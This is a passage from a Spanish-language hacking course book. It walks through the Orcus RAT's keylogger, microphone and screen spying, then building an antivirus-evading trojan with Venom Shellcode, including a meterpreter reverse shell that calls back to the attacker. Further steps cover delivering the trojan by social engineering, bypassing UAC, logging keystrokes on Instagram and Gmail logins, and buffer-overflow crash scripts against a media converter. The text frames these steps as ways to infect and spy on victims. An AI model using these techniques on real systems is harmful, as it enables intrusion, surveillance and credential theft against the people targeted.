cosa muy ventajosa es que además de todas las funciones antes descritas, estos Keyloggers evitan el LAG o retraso durante la captura y envío de info así evitando la perdida de la misma, y por supuesto Orcus lo trae consigo. La primer función o sub-panel con el que nos toparemos será el de “Live Keylogger”, lo seleccionamos y solo basta con activarlo mediante el ya conocido “Switch” en la parte superior, una vez habilitado aparecerá la acción en la barra de monitoreo y en el recuadro del Keylogger la fecha y hora de esta acción, dependiendo de lo que esté haciendo el cliente se enviará en tiempo real las acciones de este, en el ejemplo se capturo lo siguiente información solo con abrir el navegador web de Internet Explorer ingresar al sitio de Gmail para loggearse en este (da igual que navegador o versión de este se use) y por ultimo abrir un bloc de notas y escribir algo en él. Consulta las imágenes:
Imagen 20.5: Activación de Keylogger.
Estando el “Live Keylogger” habilitado se realizaron las actividades anteriormente descritas, un detalle que podremos notar en el RAT son las figuras o símbolos de las “teclas función” (las que no arrojan caracteres) presionadas en el equipo cliente, así como un registro de las aplicaciones o programas involucrados desde el momento en el que se puso en función el Keylogger, un último detalle acerca de esto es que no importa si la página en el navegador web usa una conexión segura o no, ya que el Keylogger solo captura teclas presionadas, y Orcus lo ofusca para que no sea detectado por firewalls, del lado de Orcus se obtuvo la siguiente información:
Imagen 20.6 y 20.7: Información obtenida gracias al Keylogger.
Como se ejemplificó, el Keylogger que trae consigo Orcus está muy completo, funciona en una forma bastante simple en la que podamos obtener considerables cantidades de información de una manera rápida, simple y sigilosa, gestiona la información en una forma en la que se pueda interpretar mejor y funciona de una forma bastante estable, ahora que ya vimos un simple ejemplo en un ambiente controlado. ¿Te imaginas lo que puede capturar en escenarios reales en el mundo laboral o durante la infección de una víctima en específico?
Explorando las demás funciones disponibles en la categoría “Surveillance”, nos encontráremos con algo bastante llamativo y útil, el “Voice Recorder” (grabador de voz). No hace falta hacer una descripción de lo que hace o cuál es su finalidad en sí, pero lo que será necesario es explicar sus 2 modos de uso que son con archivo de salida o sin este. Al seleccionarlo aparecerán los “Recording Devices” (dispositivos de grabación) disponibles en el equipo cliente, puesto a que el cliente es virtual habrá veces en las que el entorno de virtualización (VMware) no hará posible la migración de recursos (Hardware/Micrófono) hacia él, por ello es posible que aparezca de esta forma (Microphone HDAD) de lo contrario se mostrará el modelo de este. Dentro de las opciones de uso nos topamos con “Bitrate” (velocidad de transmisión), esto definirá la cantidad de espacio físico que ocupará un segundo de duración de ese audio, en pocas palabras es la calidad de audio, la que viene configurada por default es de 8192. De los distintos modos con los que contamos, queda por default el de “Voip” (Voice Over Internet Protocol), que es un protocolo de comunicación que hace posible que la señal de voz viaje por internet. En cuanto a los 2 modos de uso, puedes especificar si al final del “Recording” (Grabación) quieras un archivo de salida de la grabación (Save to file) y guardarlo en un directorio específico (Path), hecho esto solo presionas “Start Recording” y terminas tu trabajo cuando quieras con el botón de a lado. Si solo quieres escuchar, bastará con presionar “Start Recording”
Imagen 20.8: Función de activación del micrófono.
La penúltima función es la de “Screen”, simple y sencillamente hace un “Streaming” o transmisión en tiempo real del “Desktop” del cliente o víctima, como resultado da un “Escritorio Remoto” y al igual que todas las demás funciones, esta viene muy completa a diferencia de otros RATs. Dentro la función y su modo de uso podemos configurar los diferentes monitores a replicar o a hacer “Mirroring”, ya que un equipo puede tener 1 o más monitores conectados, también podemos establecer la calidad en la que queremos recibir el “Streaming” (mientras más alta más uso de ancho de banda se hará), los FPS (Frames per second) que tendremos sobre este “Streaming” y un FullScreen si así lo queremos. En el ejemplo siguiente al iniciar se mostrará en la barra de monitoreo las acciones relevantes a esta función, como la recolección de “Capture Devices” (Monitores), numero disponible de estos (1) y el comienzo de la transmisión o “Remote Desktop” del equipo virtual. Consulta las imágenes:
Imagen 20.9 y 30.0: Función de monitoreo de escritorio.
EXTRA: Exploiting con Venom Shellcode Generator. Previamente habías realizado un ejercicio de cómo generar payloads en Python para poder comprometer un sistema informático, en este caso harás binarios (.exe) maliciosos que al momento de ejecutarse en el equipo objetivo, realizan la inyección de código arbitrario en la RAM del sistema, con la consecuencia de que tal sistema sea comprometido de forma completa o parcial, en esta última es donde se lleva cabo la escalada de privilegios para poder realizar más tareas de post-explotación sobre el equipo. El detalle es que la generación de RATs (Remote Access Trojans) con algunas otras herramientas no es tan discreta que con Venom Shellcode, el cual genera payloads en distintos formatos (Python, C, Ruby, Exe, DLL, BAT, .JAR (Java), PDF, etc) los cuales llevarán consigo potentes troyanos que resultan bastante perjudiciales para el equipo víctima. En la siguiente demostración ejemplificaré como conseguir la explotación de un sistema con plataforma Windows, en este caso será con Win 10, cabe mencionar que los payloads generados para Windows funcionan para los más modernos y comunes (Win Vista, 7, 8 y 8.1) Lo que necesitarás para este ataque. Una Distribución para pentesting actualizada, recomiendo Parrot 3.1 o 3.2, Kali 2016.1 ó 2016.2, ya que las anteriores puede que no cuenten con las dependencias que usa Venom Shellcode. Un equipo Windows en el mismo segmento de red que tú maquina atacante, ya sea virtualizado o físico, en este ejemplo usaré uno virtualizado.
Obtención de Venom Shellcode.
Al igual que con otras herramientas que he demostrado, Venom Shellcode no viene precargada en las distros para pentesting más populares, por lo que habrá que descargarla e instalarla por nuestra cuenta. Entra a este URL para descargarlo: https://sourceforge.net/p/crisp-shellcode-generator/shell/ci/master/tarball También puedes descargarlo mediante el comando “git clone”, ejecutando: git clone http://git.code.sf.net/p/crisp-shellcode-generator/shell crisp-shellcode-generator-shell
Lo cual realizará la descarga en nuestra máquina atacante, en donde navegaremos al lugar donde reside su descarga: “/root/shell/”, dentro se halla otro directorio nombrado “aux” el cual contiene el archivo para iniciar la instalación, (setup.sh), establecemos una configuracion con chmod +x *.sh y después ejecutamos el archivo .sh:
Imagen 1.1: Descarga de Venom Shellcode
Al iniciar, realizará la búsqueda y Checking de las dependencias para que funcione, en donde seguirás los pasos de la instalación para poder completarla, no toma más de 5 min.
Una vez ya instalado, navegamos al directorio “/root/shell/” y desde ahí iniciaremos a Venom Shellcode, ejecutando el comando “./vemom.sh”:
Imagen 1.2: Directorios de Venom Shellcode
Al iniciar se realizará de nuevo el Checking de las dependencias e iniciará el Banner donde se muestra un listado con varias columnas, indicando que se codificará, el objetivo con el que funciona, con que se compilará y el formato final del payload:
Imagen 1.3: Listado de Shellcodes por generar
Del listado, seleccionaremos la opción número 6, la que funciona para plataforma Windows, funciona mediante powershell y será generada como un .exe Seguido de esto, estableceremos la configuracion del payload que generará, esto comenzará al ingresar el número correspondiente de la lista:
Imagen 1.4: Ingreso de tipo de Shellcode por generar.
Lo primero que tendrá que configurarse será el Host al que el payload establecerá el canal de comunicación para interactuar con el equipo comprometido, es decir, “LHOST”, que es donde ira la dirección IP de nuestra maquina atacante:
Imagen 1.5: Ingreso de LHOST Luego tendremos que configurar el puerto que estará a la escucha de dicha conexión, “LPORT”, en este ejemplo se usara el 556, tú puedes configurar algún otro puerto de tu preferencia.
Imagen 1.6: Selección de Puerto
Ahora lo siguiente será escoger el payload de tipo “Staged” que será el que desde la maquina victima trabajará en conjunto con el Framework de Metasploit en nuestra maquina atacante. El payload que escogeremos será “windows/meterpreter/reverse_tcp” el cual funcionará como un shell inversa que se nos devolverá al momento de la ejecución del binario malicioso en el quipo objetivo:
Imagen 1.7: Selección de payload
Por ultimo escogeremos el medio por el cual se establecerá el enlace de comunicación al momento de que el payload se ejecutado, ya sea un handler o un enlace malicioso, en este caso se usará la primera opción, el Handler, el cual es un exploit que al momento de usarlo estará a la escucha de los exploits ejecutados por fuera de Metasploit, es decir, mostrará los stage o conexiones creadas por estos troyanos o exploits ajenos al framework, en donde este trabajara en conjunto con el binario malicioso:
Imagen 1.8: Selección de método de conexión
Al escogerlo se mostrará la información acerca de lo que se ha generado y detalles sobre esto:
Imagen 1.9: Detalles del Shellcode Generado
Asi como también se inicializa el framework de Metasploit por consola de comandos, estableciendo de forma automática el Handler y el payload de tipo Stager:
Imagen 2.0: Metasploit iniciado automáticamente
NOTA: Para esta demostración no harás uso de Metasploit por este medio, ya que las fallas son algo común al momento de enviar exploits, hacer uso de auxiliaries, encoders o shells, en cambio, lo iniciaré por mi cuenta desde una nueva terminal de comandos, simplemente ejecutando “msfconsole”:
Imagen 2.1: Inicio de Metasploit por nuestra cuenta.
Estando dentro, haremos uso de un exploit (handler) para que haga la función antes descrita, después colocaremos un payload de tipo Stager trabajando desde Metasploit, lo que hará este será establecer una conexión con el payload de tipo “Staged” que es el que está en el Troyano que generamos, al momento de que este se ejecute en el equipo víctima, se devolverá una shell inversa a nuestra maquina atacante, ya que ambos payloads están trabajando en conjunto, puesto a que es el mismo tipo de payload, solo que uno trae la shell inversa esperando a ser lanzada y otro establece la conexión con el troyano, asi otorgándonos la shell de Meterpreter para asi poder interactuar de forma remota con el equipo comprometido. Para configurar esto, haremos uso del exploit
del
handler
(multi/handler),
después
seleccionaremos
el
payload
(windows/meterpreter/reverse_tcp), e ingresaremos las mismas variables de LHOST y LPORT que al principio, ya que estos payloads trabajarán de forma síncrona y ejecutamos el comando “exploit”, para que el handler y el payload comiencen sus funciones en el Framework:
Imagen 2.2: Configuracion de Handler y Payload en Metasploit
Al terminar eso, solo hace falta llegar el troyano al equipo víctima y conseguir que sea ejecutado, para esto puede que
se requiera algo de ingeniería social. La ubicación del binario es
“/root/shell/output”:
Imagen 2.2: Ubicación de Binario Generado
Ya que sabemos dónde se encuentra solo falta hacerlo llegar a la víctima, ya sea por e-mail, vía multimedia, o algún otro medio. Antes de continuar, no está demás verificar que tan “discreto” es el malware que se ingresará al equipo objetivo, para esto haremos un análisis en un sitio web que escanea archivos con la ayuda de 35 software AV para mostrar resultados y compararlos, esto se hará desde https://nodistribute.com/, donde nos mostrará resultados bastante sorprendentes, al arrojarnos el dato de que solo 2 de 35 software de protección notaron algo sospechoso en su código, esto quiere decir que resulta perjudicial o amenazante para solo el 6% del software que contiene la plataforma de escaneo, lo que para nosotros es bastante ventajoso:
Imagen 2.4: Resultados de No Distribute.
Ahora que sabemos que puede hacer bypass o evasión de más de 30 AV´s destinos, podemos hacerlo llegar al equipo objetivo y conseguir que sea ejecutado:
Imagen 2.5: Binario Transferido
Una vez que se consiga esto, en Metasploit aparecerá el envió de petición hacia la dirección donde se ejecuta el troyano, devolviéndonos asi la shell inversa antes configurada y obteniendo la sesion de Meterpreter, lista para ejecutar comandos sobre el equipo ajeno:
Imagen 2.6: Sesion Meterpreter conseguida
Una vez dentro podremos ejecutar múltiples comandos para obtener información diversa acerca del equipo, por ejemplo con los comandos “sysinfo” y “getuid” podremos saber detalles acerca del sistema en donde estamos (intrusión) y el otro para saber el nombre del usuario:
Imagen 2.7: Detalles acerca de Sistema vulnerado y Tipo de Usuario.
Ahora que sabemos el User ID, podemos notar que no tenemos carácter administrativo sobre este sistema, asi que haremos una escalada de privilegios para conseguir esta, la cual también se demostró en previos post que h realizado, haciendo bypass del UAC mediante algo de Powershell. Antes de hacer esto haremos una migración a un proceso que este corriendo actualmente, esto con el fin de que no se pierda la conexión en caso de que la persona borre o cierre el binario malicioso. Después haremos un background de la sesión para tenerla trabajando en segundo plano y asi volver a msfconsole, desde donde haremos uso del exploit para hacer bypass de UAC, colocando en este la sesion en la que nos encontramos (1) y la técnica de inyección de código: PSH (Powershell), al lanzarlo se deshabilitará el UAC y abrirá una sesion de meterpreter nueva:
Imagen 2.8: Migración de procesos y Bypass de UAC con Powershell
En esta nueva sesion ejecutaremos de nuevo el comando “ps” para en listar los procesos y migraremos a alguno que tenga la característica “NT AUTHORITY\SYSTEM”:
Imagen 2.9: Migración a un proceso de carácter administrativo.
Una vez hecho esto, ejecutamos el comando “getprivs” para enlistar os privilegios con los que contamos actualmente en este sistema, en donde se enlistaran 22 privilegios, si ejecutamos de nuevo el comando “getuid” aparecerá la etiqueta “NT AUTHORITY\SYSTEM”, y si también ejecutamos el comando “getsystem” aparecerá que se obtuvo previamente mediante la técnica que se describe seguido a la derecha:
Imagen 3.0: Privilegios conseguidos
Ahora, como ya se sabe, tenemos 2 sesiones meterpreter abiertas, para ver el listado de estas y sus detalles, se hace un background de la sesion actual y en msfconsole ejecutamos “sessions l”, donde vemos que una sesion contiene privilegios de usuario local y otra con privilegios administrativos, que es la que usaremos, para volver a la sesion, se ejecuta el comando “sessions –i #número de sesion que quieres”:
Imagen 3.1: Listado de Sesiones Meterpreter
Ahora, haremos una tarea de post-explotación, haciendo uso de un “keysniffer” para capturar teclas presionadas en este equipo comprometido, usando el comando “keyscan_start” para iniciar este sniffer, una vez que queramos hacer el volcado de la información que capturó ejecutamos el comando “keyscan_dump”. Seguido de eso, dentro de un Doc. De Word nombrado Testing Shellcode, se ejemplificará un escrito para demostrar el uso del Keylogger:
Imagen 3.2 y 3.3: Inicio de Keysniffer y creación de Doc.
Imagen 3.4y 3.5: Escrito hecho y volcado de información.
Ahora lo intentaremos con el formulario de Loggeo en una Página Web, no importa si usa una conexión segura o no, ya que el sniffer solo captura teclas presionadas, ya que Metasploit lo ofusca para que no sea detectado por firewalls en equipos o sitios web, como es el caso de Instagram, en donde ingresarás un usuario y password ficticios, teniendo corriendo al keylogger/sniffer en Metasploit:
Imagen 3.6: Usuario y password ingresado en Instagram.
Por otro lado, en Metasploit, haremos el volcado de la información capturada por el “keysniffer”:
Imagen 3.7: Volcado de info capturada por keysniffer.
¿Cómo funcionó esto con Venom Shellcode? Este script utiliza msfvenom (Metasploit) para generar código shell en diferentes formatos (c, Python, Ruby, DLL, PSH | vbs, php, Java) luego inyecta el Shellcode genera en el archivo de salida que corresponda, en este caso fue un binario ejecutable, el código malicioso se ejecutará en la RAM, asi como también se inyecta un payload que trabajará en conjunto con Metasploit para establecer una conexión entre el payload que reside en el equipo víctima y el payload que está en el framework de Metasploit. Después evadimos el UAC mediante el uso de PSH y luego logramos la obtención de información sensible gracias a las tareas de post-explotación.
Exploit Development (Desarrollo de exploits). En el capítulo anterior nos familiarizamos bastante con el uso de RATs para poder monitorear/controlar algún equipo Windows de forma remota, sin importar el lugar de conexión del objetivo, así como también pasamos por una breve descripción del source-code que lo constituye. Ahora, subiendo un escalón más y aumentando el nivel de dificultad, te ensuciarás las manos con algo de desarrollo (developing), programando las aproximaciones hacia objetivos que cuentan con una o varias vulnerabilidades en específico. La formulación de exploits (o Exploit developing) es el proceso que consiste en la creación de exploits, a lo largo de este tercer capítulo te encontrarás con múltiples vulnerabilidades y harás el “developing” de los métodos de aproximación para estas en Metasploit y finalmente conseguirás explotarlas. Para esto, tendrás que hacer uso de una diversa gama de herramientas que te servirán de apoyo para lo anterior. Todo esto tiene una finalidad, aprovecharnos de errores de seguridad (security flaws) o vulnerabilidades que existen en algún recurso informático, puesto a que existen miles de exploits, cada uno tiene su finalidad o propósito como lo puede ser el causar un overflow, hacer un bypass, realizar una inyección de código o hasta comprometer un sistema en su totalidad. Al finalizar este capítulo habrás aprendido lo siguiente:
Como el lenguaje ensamblador se involucra en la creación de exploits. Parámetros a considerar durante el desarrollo. Fases de la formulación de un exploit. Creación de exploits dentro del Framework de Metasploit.
NOTA: Para que puedas tener una comprensión total de que es lo que viene más adelante en este capítulo debes contar con conocimientos básicos del lenguaje ensamblador, de lo contrario puede que se te topes con algunas complicaciones, así que veremos unos aspectos básicos sobre este y cuál es la importancia que tiene en el desarrollo de exploits. En el libro COISP 1 podrás encontrar información más a detalle sobre lenguaje ensamblador en el capítulo de Cracking.
Aspectos básicos. Es importante cubrir algunos conceptos necesarios para poder comprender mejor la creación de exploits y en que consiste, los siguientes conceptos se aproximan al tema de en la formulación de exploits en aspectos de seguridad relacionados con Hardware y Software:
Register (Registro): es un área del procesador que se utiliza para almacenar información, cada proceso que se ejecuta en el procesador es en base al registro, un ejemplo de ello fue en el capítulo anterior indicando esta función en el RAT. Debugger: Es un software que “depura” otro programa en tiempo de ejecución para esto puede tener distintas finalidades, como entender a detalle su funcionamiento, encontrar los diferentes problemas que un programa puede enfrentar durante su ejecución o para analizar una muestra de malware como se verá en un par de capítulos más. Básicamente su utilidad es mostrar las instrucciones del programa, el estado de los registros y la memoria. Los debuggers más utilizados son: Immunity Debugger, GDB y OllyDbg. ShellCode: Es el código que se ejecuta después de la explotación exitosa del objetivo es llamado ShellCode, Habrá veces que la finalidad de la explotación será la obtención de esto. Llamadas de sistema (System Calls): Estas son llevadas a cabo un método de nivel de sistema invocado por un programa en ejecución. x86: Esta es una familia de arquitecturas de que se principalmente son encontradas en sistemas de Intel, se refieren a los sistemas de 32-bits mientras que los x64 a los de 64bits. Buffer: Es un soporte de memoria fijo en un programa, y generalmente almacena datos o información en una pila dependiendo del tipo de memoria que contenga. Buffer Overflow: Esto generalmente significa que hay más datos suministrados en la pila o en el buffer que los que este puede contener, si esto desborda, puede ocasionar el “Crash” de un programa o simplemente un DoS.
Registros. Estos son los encargados de llevar a cabo casi todas las funciones en el sistema, ya que contienen todas las instrucciones a ser procesadas. Comúnmente hacemos referencia alguno de ellos por el tamaño de memoria que pueden contener (Holding 8 to 32-bits), los registros son componentes de memoria muy veloces, algunos tipos de estos son los de tipo Index, de propósito general, de segmento y EFLAGS, veamos algunos de ellos:
ECX: Este es utilizado para hacer ciclos, funciona como un contador. EDX: Funciona como u registro de datos, EAX: Este es un acumulador, su finalidad es almacenar datos y operadores. EIP: Es un apuntador de instrucciones, este guarda la dirección en donde se ejecutará la próxima instrucción. ESP: Funciona como un apuntador de pila (stack). El siguiente ejercicio hará énfasis en los últimos 2 registros, estos son los que trabajan directamente con pilas, y apuntadores de instrucciones, sabiendo esto vamos a crear 2 programas; uno que será la aplicación vulnerable, y otro que se aproveche del código de esta y haga cambios con los registros. ¿Qué significa esto? Comprendido lo anterior, podemos explotar un recurso informático sobrescribiendo el valor del stack en el registro ESP, y sobrescribir el valor de la dirección de instrucciones en el registro EIP. Todos los registros anteriores tienen un tope máximo de memoria de 32-bits.
Nuestra primera aproximación: Buffer Overflow. Como fue mencionado anteriormente, este consiste en el desbordamiento de datos que contiene una pila, generalmente llevando al Crashing de la aplicación o servicio, alguna vez habrás lanzado exploits que tengan la finalidad anterior, sin embargo, ¿Te has preguntado cómo es que hacen su trabajo? Bien, aquí tendrás tu primera aproximación en el tema de cómo es que se formula un exploit de este tipo, asemejándonos al funcionamiento de uno de ellos. Lo que harás en este primer ejercicio será compilar un programa y en base al código proporcionado para este, explotar el fallo o vulnerabilidad que se halla dentro. Haremos énfasis en hacer “Crashear” una Aplicación y saber sobre que circunstancias ocurre esto, con la finalidad de poder saber comprender y analizar las modificaciones que se tienen que realizar para conseguir lo anterior.
Como previamente se comentó acerca de los registros, EIP y ESP pueden resultar afectados cuando se les proporciona a estos una cantidad de datos lo suficientemente grande para poder ocasionarles un overflow, así que lo que se hará será compilar un programa que usará buffers y le ocasionaremos un Crash. Pero antes cubrirás algunos conceptos importantes para que entiendas cuál es su lugar en los programas y como es que se involucran en una vulnerabilidad de este tipo. Lo que necesitarás: Windows 10 Parrot Security OS Teniendo esto, usarás un bloque de código llamado “bof-server”, se te proporcionó en el material para este libro, este se encuentra en el folder correspondiente a este capítulo. El programa al que nos referimos está hecho en C, lo verás en la sintaxis en un momento, ahora lo que harás con este código será compilarlo, para esto usaremos un compilador de C, en este caso será LCC Compiler que también viene incluido en el material correspondiente a este capítulo, aunque también puedes descargarlo por aquí: https://lcc-win32.en.uptodown.com/windows Antes de continuar habrá que hacer una pequeña configuración en el equipo Windows, siendo esta la habilitación del cliente Telnet. Esta función nos permitirá interacción local remota entre Windows y Parrot, lo que la lleva ser la interprete para explotar la vulnerabilidad del código. Para esto solo basta con seguir los pasos siguientes: Hacer clic derecho en Windows, seleccionar la opción “Programas y características” Con esto ingresaremos al panel de control, en la parte superior izquierda veremos la opción “Activar o desactivar características de Windows”. Aquí colocamos un “check” a “Cliente Telnet” y hacemos clic en Aceptar:
Imagen 30.1: Habilitación de cliente Telnet.
Teniendo esto configurado y haber hecho la instalación de LCC Compiler lo abriremos. Hecho esto, buscamos el archivo que contiene el código en C, esto desde el menú desplegable “File” y seleccionado la opción “Open”.
Una vez localizado lo abrimos y veremos una ventana con el código siguiente:
Imagen 30.2: Código visualizado por LCC Compiler.
Puedes sentirte libre de leer o inspeccionar el código de este programa si así lo quieres. LCC Compiler pide la creación de un proyecto por cada file que se quiera compilar, por lo que habrá que hacer esto, para conseguirlo más rápido, basta con seleccionar la opción “Compile” que aparecerá antes del nombre del File actual, al finalizar aparecerá un mensaje indicando el tiempo que tomó, todo esto se hace desde el menú “Compiler”:
Imagen 30.3 – 30.5: Código compilado y directorio de aplicación.
Ahora que finalizó la compilación y ya teniendo el programa, pasaremos a probarlo nosotros mismos, sin involucrar el uso de demás software para conseguir el error interno de la aplicación. Dentro de CMD, ejecutamos el siguiente comando: “C:\ (lugar donde resida tu archivo .exe)> bof-server.exe “Puerto preferencial” Lo que esto hará será hacer una llamada al programa y establecer algún puerto que usará el programa para funcionar, este puede ser de nuestra preferencia, en este caso se usó el 200. Luego de la ejecución de este primer comando haremos una segunda, ahora usando a la función “Telnet” para poder conectarse al puerto escogido, para ello basta con ejecutar en una nueva terminal este comando con la siguiente sintaxis.
“telnet localhost (puerto escogido)”
Hecho esto obtendremos lo siguiente: 1) 2) 3) 4)
Lo primero es poner en función el binario en el puerto asignado. Hecho esto, en otra terminal conectamos con el puerto asignado mediante Telnet. Al conseguir eso, veremos en la primera terminal un banner que indica la conexión. Volvemos a la segunda terminal y tendremos una Shell para ingresar datos.
Imagen 30.6 – 30.9: Proceso de conexión por Telnet a la Aplicación.
Dentro de esta Shell de Telnet, pondremos en función la finalidad del programa y de los registros EIP y ESP, que son el almacenar datos en una pila y el otro apuntar direcciones de instrucciones. Sabiendo esto ingresaremos caracteres aleatorios en el input en 3 intentos. Durante los 2 primeros no ha pasado nada, en cambio, en el tercer intento ingresaremos los suficientes caracteres con el fin de conseguir el cierre de la aplicación, gracias al Buffer-overflow que ocasionamos. Como se puede ver, un mensaje de error fue generado por Windows, en donde indica que la aplicación tuvo un fallo durante su funcionamiento.
Imagen 31.0: Desbordamiento conseguido.
Hasta ahora hemos sobrescrito los valores del registro ESP que es el que trabaja con el stack (pila), consiguiendo así el Crashing de la aplicación y por ende su cierre total. Pero esto lo hemos hecho sobre la misma aplicación, así que es momento de hacerlo de forma remota desde otra máquina que se halle en el mismo segmento de red que la máquina atacante, la cual será la que contenga la distro de Parrot Security OS. Aquí es donde crearemos un file con Perl el cual contendrá un número específico de caracteres aleatorios. Estando en Parrot abriremos una terminal y ejecutamos el siguiente comando: perl -e ‘print’ “LOL” x 300 , “HM” x 300’ > crash.txt : Este creará un script que imprima los caracteres “LOL” y “HM” 300 veces cada uno:
Imagen 31.1: Código en Pearl para desbordar la pila.
Teniendo en cuenta que la aplicación tuvo un fallo al ingresar alrededor de 300 caracteres en una sola instancia. La diferencia que harás con esto es que te has deshecho de la parte manual de hacerlo todo en la propia maquina Windows en donde corre la aplicación, ahora solo bastará con que hagas una conexión Telnet desde Parrot mientras la aplicación esté en función en el Host Windows, para esto volverás a ejecutar el primer comando de la lista (bof-server.exe 200). Luego de que se haya puesto el programa a trabajar sobre este puerto o el que se haya seleccionado, pasarás a ejecutar el siguiente comando en Parrot: telnet “Dirección IP del Host que contenga la Aplicación” “Puerto”
Imagen 31.2 y 31.3: Overflow conseguido desde Parrot.
Al momento de que se haya llevado a cabo la ejecución, inmediatamente aparecerá un banner en la terminal de Parrot indicando la conexión exitosa y otro indicando que esta conexión fue cerrada por el host remoto (Windows). Pasando al lado de Windows, nos encontraremos con el mismo error de fallo en la aplicación, el que se ocasiono debido a la sobre escritura de valores en el registro ESP, gracias a que tú hiciste un Buffer-overflow en el. Además, se puede ver los diferentes registros de conexión y desconexión de Telnet, debido al Overflow ocasionado un par de veces por este método, otra forma en que se puede manifestar la desconexión es que en la terminal aparezca un banner indicando la finalización anormal del programa:
Imagen 31.4 y 31.5: Verificación del Crash del programa.
De forma clara y concisa se vio como es que se puede ocasionar un desbordamiento de pila (Overflow/ Stack-overflow) mediante la sobre escritura de los valores que existen en un registro, siendo este el ESP (Stack Pointer), y después perjudicando al registro EIP (Instruction Pointer) en donde se ubica la dirección de instrucciones donde se halló el Crash. Siendo esta la dirección en la aplicación que no supo cómo y hacia donde proceder, terminando en el cierre del programa. Con esto podemos llevar las cosas un poco más lejos y adentrarnos más en terreno de Lenguaje ensamblador y Debuggers para desarrollar un bloque de código más completo que también nos permita conseguir la explotación en de un programa.
La segunda aproximación: Buffer Overflow mediante Python y uso de Immunity Debugger. En el ejercicio anterior se demostró y ejemplifico una vulnerabilidad de tipo BOF (Buffer-overflow) en donde creamos un programa vulnerable en C el cual solo aceptaba la entrada de caracteres, sin embargo, el fallo estuvo en que si se rebasaba el tope o la cantidad máxima de datos que podía contener la pila, a esta le ocurría un desbordamiento. Utilizamos 2 formas distintas para explotar esto y conseguir el fallo de la aplicación, una era interactuar directamente con el programa y simplemente ingresar caracteres de más dentro de él, y la otra era que desde Parrot se hiciese el envío de un script en Perl que imprimía 600 caracteres al momento de ejecutarse, consiguiendo así el Crash de la aplicación de forma remota, aproximándonos cada vez más a la formulación de un exploit. Ahora en esta nueva prueba, trabajarás con una Aplicación auténtica la cual cuenta con una vulnerabilidad de este tipo, solo que un poco más compleja de explotar. Una vez que consigas el primer medio de explotación, pasarás a utilizar un Debugger (Depurador) sobre la aplicación, esto tiene como final el que comprendas más a detalle este fallo, utilizando como interprete o depurador a Immunity Debugger, entendiendo así las instrucciones involucradas y registros afectados por esta vulnerabilidad y su explotación. Como ya se sabe, esto también se consigue mediante la ejecución remota de código, ahora utilizaremos a Python para hacer el compilar el código que consiga afectar la aplicación, una vez que consigas esto y hayas utilizado el Debugger para interpretar de mejor forma este Crashing del programa, harás uso de una librería en Python para la escritura de exploits. Dentro del repertorio de material correspondiente a este capítulo, encontrarás una carpeta nombrada “BOF No. 2”, dentro viene lo necesario para poder completar este ejercicio:
Antes de comenzar habrá que instalar un par de cosas para poder completar esta prueba, realiza estas instalaciones dentro de tu equipo Windows en el siguiente orden: 1) Python- 2.7.13: Es el lenguaje que usaremos y sobre el que vamos a compilar el exploit.
Imagen 31.6: Instalación de Python.
2) Immunity Debugger 1.85: Este es el software depurador que se usará en esta prueba, requiere la instalación de Python.
Imagen 31.7: Instalación de Immunity Debugger.
3) Mini-streamRM-MP3Converter: Este es el programa sobre el que trabajarás, este cuenta con o contiene el fallo de seguridad tipo “BOF” del cual te aprovecharás. Cuenta con un periodo trial de 30 días, suficiente para que realices el ejercicio y las pruebas que quieras:
Imagen 31.8: Instalación de software vulnerable.
Una vez que esté listo lo anterior, abriremos el IDLE de Python (GUI) para comenzar nuestra aproximación, una vez dentro del IDLE abriremos un nuevo archivo desde el menú “File”, en la opción “New File” y seguiremos los siguientes pasos:
Imagen 31.9: IDLE de Python.
Imagen 32.0: Python.
Al hacer esto se abrirá una nueva ventana, en donde escribiremos el código de abajo, terminado, lo guardamos con el nombre y en el lugar de nuestra preferencia desde el menú “File”, consulta la imagen: primeravariable= "HackingMexico"*17890 archivo=open("Playlist.m3u","w") archivo.write(primeravariable); archivo.close()
Imagen 32.1: Código en Python.
Ya estando guardado, corremos el programa con la opción “Run Module” desde el menú “Run”, mostrando la ejecución correcta, con una nueva “Prompt Line”.
Imagen 32.2: Código compilado.
Lo que hicimos con esto fué que la primera línea imprima el texto “HackingMexico” 17890 veces, luego al momento de la compilación este script se guardará como un archivo con extensión “.m3u”, que es el formato del Playlist con el que trabaja el programa vulnerable, este “Playlist” se encuentra en el lugar donde reside el script de Python:
Teniendo este Playlist, abrimos el programa vulnerable (Mini-streamRM-MP3Converter) y desde la opción “Load” ubicaremos el directorio del archivo “.m3u” y cargaremos este “Playlist”, que en realidad es un script que lleva la instrucción de que al momento de su ejecución imprimir o mostrar 17890 veces el texto configurado, consiguiendo el “Crashing” de la aplicación:
Imagen 32.3 y 32.4: Aplicación Detenida.
Hasta este punto hemos conseguido el desbordamiento de la pila gracias al script hecho en Python, el cual lo hicimos pasar por un supuesto “Playlist” que cargamos al programa, ocasionando el Overflow. Hecho esto, es momento de pasar a utilizar un Debugger para hacer un poco de Reversing y comprender de mejor forma que es lo que ocurre en el programa cuando la pila de este se desborda. Para esto utilizaremos el Debugger antes mencionado, “Immunity Debugger”. Cabe mencionar que es recomendable siempre ejecutarlo como administrador, también es importante mencionar que el directorio de instalación de este Debugger puede variar, lo más común es que al finalizar la instalación del programa, el lugar en el que resida será en el directorio “C:\Program Files(x86)\ImmunityInc\ImmunityDebugger”, en este caso debido a la protección antivirus del equipo, se instaló en el siguiente directorio o “Path”:
Imagen 32.5 y 32.6: Ejecución de Immunity Debugger.
Una vez que lo hayas ejecutado, Immunity Debugger se mostrará de la forma siguiente:
Imagen 32.6: Immunity Debugger.
Una vez dentro, abriremos el Binario que cuenta con la vulnerabilidad de Buffer-overflow, esto desde el menú “File” mediante la opción “Open” para navegar hacia el directorio en donde reside, aquí también puede variar el “Path” de instalación, sin embargo, lo común es que se guarde en el siguiente directorio, (Por obvias razones aparece en el historial del Debugger ya que lo abrí con anterioridad):
Imagen 32.7: Carga de aplicación vulnerable.
Lo que haremos con este binario será una poco de Reversing hacia este, depurando el código y mostrándolo en un lenguaje de bajo nivel, esto con la finalidad de identificar qué es lo que está siendo afectado en el programa, que registros están involucrados en este fallo, y como conseguir que, gracias a esta nueva información, podamos llevar las cosas un poco más lejos. Está de más mencionar que deberás tener conceptos esenciales de “Assembler” (Lenguaje ensamblador). Una vez abierto el binario en el Debugger, este se mostrará de la manera siguiente:
Imagen 32.8: Panel CPU y sus ventanas en el Debugger.
